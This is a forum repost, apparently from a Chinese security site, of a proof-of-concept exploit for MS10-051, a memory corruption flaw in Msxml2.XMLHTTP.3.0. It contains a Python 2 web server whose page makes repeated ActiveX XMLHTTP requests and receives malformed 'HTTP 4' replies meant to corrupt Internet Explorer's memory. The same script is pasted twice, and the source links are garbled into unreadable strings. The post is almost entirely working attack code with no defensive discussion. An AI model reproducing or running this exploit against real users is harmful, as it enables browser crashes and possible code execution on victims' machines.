-
-
[转帖]Msxml2.XMLHTTP.3.0 Response Handling Memory Corruption (MS10-051)
-
发表于: 2010-8-11 12:14 3928
-
[转帖]Msxml2.XMLHTTP.3.0 Response Handling Memory Corruption (MS10-051)
2010-8-11 12:14
3928
# Sources:
# 97eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4C8P5i4m8Z5k6i4u0Q4x3X3g2U0L8$3#2Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9J5c8U0t1H3x3e0m8Q4x3V1j5H3z5q4)9J5c8U0p5H3i4K6u0r3L8i4x3I4x3q4)9J5k6o6l9#2x3g2)9J5c8W2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7
# 9b4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3y4G2k6r3g2Q4x3X3g2Y4L8$3!0Y4L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6H3i4K6u0r3M7$3E0&6L8r3W2F1k6h3c8Q4x3V1k6A6M7%4y4#2k6i4y4Q4x3V1k6V1k6i4c8S2K9h3I4Q4x3@1k6A6k6q4)9K6c8o6p5%4i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1t1`.
#
import os, re, socket;
webserver_port = 28876;
replies = {
r'^/$': ('text/html', """
<SCRIPT>
iCounter = 0
function go() {
var request_url = location.protocol + "//" + location.host + "/RandomHTTP?counter=" + (iCounter++);
var xml_http_request = new ActiveXObject("Msxml2.XMLHTTP.3.0");
xml_http_request.open("GET", request_url, false);
xml_http_request.send();
setTimeout(go, 1);
}
go();
</SCRIPT>
"""),
r'^/RandomHTTP\?counter=\d+$': 'HTTP 4\n',
};
server_socket = socket.socket();
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1);
server_socket.bind(('', webserver_port));
server_socket.listen(1);
print 'Webserver running at http://localhost:%d/' % webserver_port;
while 1:
client_socket,_ = server_socket.accept();
try:
request = client_socket.recv(1024);
except socket.error, e:
print '>> ??';
continue;
print '>> ' + request.split('\r\n')[0];
path = None;
if request[:4] == 'GET ':
end_path = request.find(' ', 4);
if end_path != -1:
path = request[4:end_path];
code, reason, mime_type, body = 404, 'Not found', 'text/plain', 'Not found';
response = None;
if path is not None:
for path_regexp in replies.keys():
if re.match(path_regexp, path):
if type(replies[path_regexp]) == str:
response = replies[path_regexp];
elif type(replies[path_regexp]) == tuple:
code, reason = 200, 'OK';
mime_type, body = replies[path_regexp];
else:
code, reason, mime_type, body = replies[path_regexp](path);
break;
if response is None:
response = '\r\n'.join([
'HTTP/1.1 %03d %s' % (code, reason),
'Content-Type: %s' % mime_type,
'Date: Sat Aug 28 1976 09:15:00 GMT',
'Expires: Sat Aug 28 1976 09:15:00 GMT',
'Cache-Control: no-cache, must-revalidate',
'Pragma: no-cache',
'Accept-Ranges: bytes',
'Content-Length: %d' % len(body),
'',
body
]);
print '<< %s (%d bytes %s)' % \
(response.split('\r\n')[0], len(response), mime_type);
try:
client_socket.send(response);
except socket.error, e:
pass;
client_socket.close();
# 97eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4C8P5i4m8Z5k6i4u0Q4x3X3g2U0L8$3#2Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9J5c8U0t1H3x3e0m8Q4x3V1j5H3z5q4)9J5c8U0p5H3i4K6u0r3L8i4x3I4x3q4)9J5k6o6l9#2x3g2)9J5c8W2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7
# 9b4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3y4G2k6r3g2Q4x3X3g2Y4L8$3!0Y4L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6H3i4K6u0r3M7$3E0&6L8r3W2F1k6h3c8Q4x3V1k6A6M7%4y4#2k6i4y4Q4x3V1k6V1k6i4c8S2K9h3I4Q4x3@1k6A6k6q4)9K6c8o6p5%4i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1t1`.
#
import os, re, socket;
webserver_port = 28876;
replies = {
r'^/$': ('text/html', """
<SCRIPT>
iCounter = 0
function go() {
var request_url = location.protocol + "//" + location.host + "/RandomHTTP?counter=" + (iCounter++);
var xml_http_request = new ActiveXObject("Msxml2.XMLHTTP.3.0");
xml_http_request.open("GET", request_url, false);
xml_http_request.send();
setTimeout(go, 1);
}
go();
</SCRIPT>
"""),
r'^/RandomHTTP\?counter=\d+$': 'HTTP 4\n',
};
server_socket = socket.socket();
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1);
server_socket.bind(('', webserver_port));
server_socket.listen(1);
print 'Webserver running at http://localhost:%d/' % webserver_port;
while 1:
client_socket,_ = server_socket.accept();
try:
request = client_socket.recv(1024);
except socket.error, e:
print '>> ??';
continue;
print '>> ' + request.split('\r\n')[0];
path = None;
if request[:4] == 'GET ':
end_path = request.find(' ', 4);
if end_path != -1:
path = request[4:end_path];
code, reason, mime_type, body = 404, 'Not found', 'text/plain', 'Not found';
response = None;
if path is not None:
for path_regexp in replies.keys():
if re.match(path_regexp, path):
if type(replies[path_regexp]) == str:
response = replies[path_regexp];
elif type(replies[path_regexp]) == tuple:
code, reason = 200, 'OK';
mime_type, body = replies[path_regexp];
else:
code, reason, mime_type, body = replies[path_regexp](path);
break;
if response is None:
response = '\r\n'.join([
'HTTP/1.1 %03d %s' % (code, reason),
'Content-Type: %s' % mime_type,
'Date: Sat Aug 28 1976 09:15:00 GMT',
'Expires: Sat Aug 28 1976 09:15:00 GMT',
'Cache-Control: no-cache, must-revalidate',
'Pragma: no-cache',
'Accept-Ranges: bytes',
'Content-Length: %d' % len(body),
'',
body
]);
print '<< %s (%d bytes %s)' % \
(response.split('\r\n')[0], len(response), mime_type);
try:
client_socket.send(response);
except socket.error, e:
pass;
client_socket.close();
[培训]传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
他的文章
赞赏
雪币:
留言: